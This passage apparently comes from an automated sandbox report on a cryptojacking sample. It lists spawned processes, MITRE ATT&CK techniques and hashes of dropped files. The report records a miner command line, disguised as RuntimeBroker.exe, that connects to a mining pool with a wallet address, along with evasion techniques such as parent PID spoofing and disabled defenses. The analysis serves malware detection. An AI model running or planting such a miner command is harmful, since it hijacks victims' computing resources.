    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:3652
- - C:\ProgramData\0e5a0a5200000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:1444
- - C:\ProgramData\0e5a1df900000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:3296
- - C:\ProgramData\0e5a397000000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:2308
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2296
- - C:\ProgramData\0e5a3f2d00000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:4220
- - C:\ProgramData\0e5a4bfe00000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:2768
- - C:\ProgramData\0e5a5a9500000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:2132
- - C:\ProgramData\0e5a74a500000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:696
- - C:\ProgramData\0e5a851000000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:3100
- - C:\ProgramData\0e5a91f100000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:1752
- - C:\ProgramData\0e5a9c8000000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:4456
- - C:\ProgramData\0e5aa40200000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:1760
- - C:\ProgramData\0e5abbcf00000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:3868
- - C:\ProgramData\0e5acae300000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:4808
- - C:\ProgramData\0e5adaf000000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:2168
- - C:\ProgramData\0e5af9b300000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:4420
- - C:\ProgramData\0e5b00f600000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:4416
- - C:\ProgramData\0e5b072100000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:3260
- C:\Windows\System32\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  PID:4416
- C:\Windows\System32\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  PID:1044

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

0e594ba500000a7c.exe

Path C:\ProgramData\0e594ba500000a7c.exe
Size 28.1MB
SHA256 f0cc91e4f6bdea9e0c90d6a63dc60af83939bad9ae03c43e3bc4150103a50cd8
MD5 63a042fb2cff2f68b3b60cabb213e918
SHA1 0c62eba19ace2fb96a7c8c4eaa27da2e211c83ce
SHA512 73b2a238e28141fa9fd4e49695aa12027931e1b60a474de8d1fc71dbf589f21ca06a1b4393d245329d61f5bad5c0598ee56a77765d4aa61190f7542bec741fad
SSDEEP 786432:pDkbi3DwN9A3ClCv3GCs8gxfhz1Gktl/UhxPSUoM1lF:pCEA6kCOCWpz0kDUHPSUt1lF
TLSH
T17F5733936C0B6967E23845BA8DCD28381BFD1F26EFC43325E205B6D5A4A71D8276C1F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0e5af9b300000a7c.exe

Path C:\ProgramData\0e5af9b300000a7c.exe
Size 19.0MB
SHA256 7daa0445cd34e51faebe9c5609975530a95585fc35d04b97fe6d445ba90c52b4
MD5 9726d061ba4bb8c357bdc81aa5b2fcc3
SHA1 643a2c872eccf077267aae054badeccd3c98191a
SHA512 a287a27f717d1909bdb25c303d876d40302214d1d3051ce98e8ed3be87e71af4f1ef66fcf8d73d27692937c3590be17b3d354bfc0ce030878659d3c6397d4264
SSDEEP 393216:P2WBFkbmxLDBtwpLFDXwuEClM6mvH4YTGC7o8gx5Tthz7hz:pDkbi3DwN9A3ClCv3GCs8gxfhz1z
TLSH
T17E1733C71C0A9DF3B124156DCDCC666966FE0B76FE842230B201F68DE4E66AC61E42F5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0e5af9b300000a7c.exe

Path C:\ProgramData\0e5af9b300000a7c.exe
Size 18.9MB
SHA256 64f77e415398f73c2f05e3ea16a962f02f318ff8df7686dcde55f6a3992955be
MD5 4b729f0d0a7f6845d538e78453f8023e
SHA1 dfd8fd61d0d372f1feff1c396f7a87a9748d20de
SHA512 b87185187f5a6eaf7e18750b32d78bfbbf5e7cb2b692625013e9086ad000448b89cba663343d49b3f84c479698353ce4f1ee61948c1aca204bdfeaef476d9ce4
SSDEEP 393216:P2WBFkbmxLDBtwpLFDXwuEClM6mvH4YTGC7o8gx5Tthz7hw:pDkbi3DwN9A3ClCv3GCs8gxfhz1w
TLSH
T1771733C71C0A9DF3B124156DCDCD6A6956EE0B76EE843220B200F689E4E76AC71E43F5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0e5b00f600000a7c.exe

Path C:\ProgramData\0e5b00f600000a7c.exe
Size 14.1MB
SHA256 5f402ab18316ff9682c46da4b6863a99db76aacdd3b3fa6891e9b5d1c37291c5
MD5 36f5066c10a0e50d6a3888e14b2f2feb
SHA1 6ff1b0ea2405cdc9a55e6a6b6948002e40400f95
SHA512 34a83f2eb21921ab06c6ebe954ed253cd8ed381e39888c08f6bd56f3859f4fca715cf00f2aa3d5d0843d5708769cce7488f3dc8e7a56f2cb64306abd6adde76e
SSDEEP 393216:P2WBFkbmxLDBtwpLFDXwuEClM6mvH4YTGC7z:pDkbi3DwN9A3ClCv3GCH
TLSH
T1F3E633C7080A5DB7E21421ADCECC567C25EE46A6EFD42330B301F98D64979DC79E06B6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PowerPointExperienceService.exe

Path C:\ProgramData\Windows\CommonFiles\Cache\6C4DB8F8\PowerPointExperienceService.exe
Size 33.3MB
SHA256 d48d8c87335633e9ccf35f6b2fcae5146cc357194ec3d9b4e74b94549b759a25
MD5 b51fca5697c50b4ad0abbd91a0d0fcf5
SHA1 a2f697c209de9d4e89384729b1a9b022e457180c
SHA512 44676a210e48fdb32c8c07a782adb4db822b07f96f8cf04b6da9b090323f6cbf0874538d8005feefddaf1c41d0242bf2733af95f45bfc1a84701c863360140ba
SSDEEP 786432:K14B+wE86QcFX/Wy8yc2D9oPruk3QH9gfuC54S+9f2QtQg2OFEjbOQU:K1q16/tGz5329gfrMf3ueiWQU
TLSH
T1EE7733D219EA0E48F465D3B1031265FFF1373BDD8035EC9ABD5AFC8429229609A3764B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download